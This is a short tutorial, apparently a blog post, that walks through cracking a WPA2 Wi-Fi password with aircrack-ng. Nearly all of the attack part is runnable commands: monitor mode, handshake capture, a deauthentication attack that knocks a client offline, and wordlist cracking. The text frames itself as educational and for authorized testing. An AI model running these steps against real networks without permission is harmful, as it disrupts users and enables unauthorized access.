Paradox007

Cracking WPA2 Networks using Aircrack-ng

Introduction

This guide explains how to use aircrack-ng to crack WPA2 networks. This should only be used for ethical hacking and educational purposes.

Prerequisites

1. A computer with a compatible wireless network adapter.
2. Aircrack-ng suite installed.
3. Basic knowledge of Linux command line.

Installation

Install Aircrack-ng on Debian-based systems (Ubuntu, Kali Linux, etc.)

- sudo apt update
- sudo apt install aircrack-ng

Install Aircrack-ng on Arch-based systems (Arch, Manjaro, etc.)

- sudo pacman -S aircrack-ng

Steps to Crack WPA2 Networks

1. Put Your Wireless Interface in Monitor Mode

First, identify your wireless network interface:

- iwconfig

Assuming your wireless interface is `wlan0`, put it into monitor mode:

- sudo ifconfig wlan0 down
- sudo iwconfig wlan0 mode monitor
- sudo ifconfig wlan0 up

2. Capture Handshake

Start airodump-ng to capture the handshake:

- `sudo airodump-ng wlan0`

Target a specific network by specifying the BSSID and channel:

- `sudo airodump-ng --bssid <BSSID> --channel <CH> -w capture wlan0`

3. Deauthenticate a Client

To capture a handshake, deauthenticate a client from the network:

- `sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0`

4. Crack the WPA2 Password

Once you have captured the handshake (look for `WPA handshake` message in airodump-ng), use aircrack-ng to crack the password:

- `sudo aircrack-ng -w /path/to/wordlist.txt -b <BSSID> capture-01.cap`

Conclusion

If successful, aircrack-ng will display the WPA2 password. Remember, this process is for educational and authorized testing purposes only. Unauthorized access to networks is illegal.

Legal Disclaimer

This guide is intended solely for educational purposes and testing of personal networks. Unauthorized access to networks is a criminal offense. Ensure you have explicit permission to test any network.